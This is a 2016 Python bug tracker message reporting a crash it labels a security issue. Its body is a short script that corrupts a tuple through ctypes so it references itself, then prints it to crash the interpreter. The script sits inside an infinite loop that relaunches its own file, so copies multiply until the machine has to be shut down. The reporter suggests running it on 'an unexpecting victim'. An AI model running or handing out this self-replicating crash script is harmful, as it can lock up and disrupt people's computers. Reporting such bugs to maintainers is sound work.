[issue26508] Infinite crash leading to DoS

pablo sacristan report at bugs.python.org
Mon Mar 7 21:25:22 EST 2016


New submission from pablo sacristan:

import ctypes, struct, sys, os
while 1:
    os.system('python /Users/pabstersac/Desktop/Python\ Files/crash.py') #Change to your full path to the file
    inner = ()
    outer = (inner,)
    c_outer = (ctypes.c_char * sys.getsizeof(outer)).from_address(id(outer))
    inner_index = c_outer[:].find(struct.pack('P', id(inner)))
    c_outer[inner_index:inner_index+struct.calcsize('P')] = struct.pack('P', id(outer))
    print outer
    #construct and print a self-referencing tuple
run it and wait around 10 sec for it to happen, but once it starts you will be forced to force it to shut because it will keep on crashing infinitely which is extremely annoying, and even while it says it crashed it still runs and keeps on running infinitely, which if you do on an unexpecting victim, they will probably shut down the computer directly.
There are basically two problems here, the way you construct and then print a self-referencing tuple, and the way you handle when it is put in an infinite loop with itself calling its own file (which if you wait long enough will see the effect goes quicker every second, it goes up exponentially) and you don't stop it correctly.

----------
files: crash.py
messages: 261319
nosy: pabstersac
priority: normal
severity: normal
status: open
title: Infinite crash leading to DoS
type: security
Added file: http://bugs.python.org/file42088/crash.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26508>
_______________________________________


More information about the Python-bugs-list mailing list